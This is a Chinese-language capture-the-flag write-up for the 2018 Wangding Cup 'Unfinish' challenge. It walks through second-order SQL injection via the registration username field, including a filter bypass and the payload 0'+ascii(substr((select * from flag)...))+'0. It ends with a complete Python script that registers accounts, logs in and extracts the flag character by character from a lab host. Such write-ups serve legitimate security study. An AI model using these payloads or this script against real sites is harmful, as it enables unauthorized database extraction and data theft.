[網鼎杯2018]Unfinish
阿新 • • 發佈:2022-03-31
一個登入介面,簡單測試了下沒有發現什麼注入點。。
用御劍掃了一下
掃出了個register.php
隨便註冊了下
登入進去發現沒有東西,只有一張圖片和使用者名稱
猜測存在二次注入
隨便試一下
使用者名稱顯示為0
存在注入
fuzz了下發現故過濾了,和information
然後繞不過去。。
去看了下別人的wp
學到了新姿勢
select '0'+ascii(substr(database(),1,1));
可以得到庫名第一位的ascii碼
因為被過濾掉了information
所以爆不出欄位名
猜測是flag
試試看
0'+ascii(substr((select * from flag) from 1 for 1))+'0
可以成功爆出值,說明欄位名就是flag
就可以寫指令碼了
#coding:utf-8 import requests import re url = 'http://77a4fe69-f67f-4944-810f-6afe6ef17230.node4.buuoj.cn:81/' m = '' for i in range(100): payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1) register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'} login = {'email':'abc{}@qq.com'.format(i),'password':'123456'} req = requests.session() r1 = req.post(url+'register.php',data = register) r2 = req.post(url+'login.php', data = login) r3 = req.post(url+'index.php') content = r3.text con = re.findall('<span class="user-name">(.*?)</span>',content,re.S|re.M) a = int (con[0].strip()) m = m+chr(a) print(m)